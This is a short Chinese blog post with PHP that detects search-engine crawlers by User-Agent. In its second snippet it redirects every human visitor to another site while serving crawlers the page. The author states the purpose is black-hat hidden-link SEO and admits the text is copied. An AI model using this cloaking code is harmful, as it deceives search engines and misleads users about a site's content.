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PHP判断来访是蜘蛛还是普通用户

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Release: 2016-06-13 10:46:33
Original
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准备开始做正规的SEO,黑链代码依旧是用,只是有点特殊而已,当然,自己先测试下,是否可行。
要弄个PHP文档,记录来访是否蜘蛛还是普通用户,具体就是根据php的$_SERVER['HTTP_USER_AGENT']来进行判断
具体代码如下:
 
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo '谷歌';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo '百度';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo '雅虎';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo '搜搜';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo '有道';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo '搜狗';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
?>
以下来自百度,当然,以上也来自百度。我只是负责文章“伪原创”
 
www.2cto.com

$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: http://www.hao123.com" . $_SERVER['REQUEST_URI']);
    // 自动转到http://www.hao123.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成header("Location: http://www.hao123.com/abc/d.php");
   exit();
}
?>

摘自 http://www.xssxss.com/fuck/505.xss

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